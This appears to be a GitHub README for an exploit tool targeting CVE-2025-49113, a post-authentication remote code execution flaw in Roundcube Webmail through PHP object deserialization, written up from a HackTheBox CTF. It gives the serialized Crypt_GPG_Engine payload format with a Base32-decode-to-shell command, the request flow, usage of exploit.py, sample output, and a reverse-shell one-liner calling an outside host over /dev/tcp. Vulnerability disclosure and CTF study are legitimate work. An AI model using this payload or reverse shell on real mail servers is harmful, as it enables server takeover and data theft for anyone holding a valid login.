Skip to content

rippsec/CVE-2025-49113-Roundcube-RCE

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 

Repository files navigation

CVE-2025-49113 — Roundcube Post-Auth RCE via PHP Object Deserialization

Overview

Field Details
CVE CVE-2025-49113
Software Roundcube Webmail
Affected Versions ≤ 1.6.10
Vulnerability PHP object deserialization → RCE
Authentication Required (any valid user)
Impact Remote Code Execution on the server
Context Discovered during HackTheBox CTF

Description

Roundcube Webmail versions up to and including 1.6.10 are vulnerable to post-authentication Remote Code Execution. The file upload handler deserializes a PHP object embedded in the filename of an uploaded attachment. By crafting a malicious filename containing a serialized Crypt_GPG_Engine object, an authenticated attacker can trigger arbitrary command execution on the underlying server when the filename is processed.

Technical Details

Vulnerability Class

PHP Object Deserialization (CWE-502). Roundcube's file upload endpoint passes the client-supplied filename through a deserialization path without validation. The Crypt_GPG_Engine class is available in Roundcube's dependency chain and acts as a usable gadget chain.

Gadget Chain

The Crypt_GPG_Engine class contains a _gpgconf property that is passed to a system-level call during object destruction/initialization. By serializing an instance with a crafted _gpgconf value, the attacker forces command execution.

Serialized payload format:
|O:16:"Crypt_GPG_Engine":3:{
    s:8:"_process"; b:0;
    s:8:"_gpgconf"; s:<len>:"<base32-encoded-command> | base32 -d | sh &#";
    s:8:"_homedir"; s:0:"";
}

The command is Base32-encoded to avoid special character issues in the filename field.

Exploit Flow

Attacker (authenticated)
    │
    ▼
GET /?_task=login         → Fetch CSRF token + session cookie
    │
    ▼
POST /?_task=login         → Authenticate with valid credentials
    │
    ▼
POST /?_task=settings&_action=upload
    Content-Disposition: filename="<SERIALIZED_PAYLOAD>"
    │
    ▼
Server deserializes filename → Crypt_GPG_Engine instantiated
    │
    ▼
_gpgconf executed → OS command runs as webserver user

Why Base32?

The command is Base32-encoded to avoid characters that would break the multipart filename field (quotes, slashes, etc.). The final command executed on the server is:

echo "<B32_CMD>" | base32 -d | sh

Usage

python3 exploit.py -u <USER> -p <PASS> -i <TARGET_URL> -x <COMMAND>
Flag Description
-u Roundcube username
-p Roundcube password
-i Target URL (e.g., http://mail.target.htb)
-x Command to execute on the server

Example

# Check code execution as web server user
python3 exploit.py -u admin -p password -i http://mail.target.htb -x "id"

# Reverse shell
python3 exploit.py -u admin -p password -i http://mail.target.htb \
  -x "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"

Dependencies

No external libraries required — uses Python standard library only (http.client, urllib, base64, etc.).

Proof of Concept

$ python3 exploit.py -u bob -p letmein -i http://mail.target.htb -x "id"
[*] Starting Roundcube exploit (CVE-2025-49113)
[*] Fetching CSRF token...
[+] Got CSRF token: abc123...
[*] Authenticating...
[+] Authentication successful
[*] Executing command: id
[+] Exploit completed. Check target for command execution.

References

About

CVE-2025-49113 – Roundcube ≤1.6.10 post-auth RCE via PHP object deserialization (HackTheBox CTF)

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages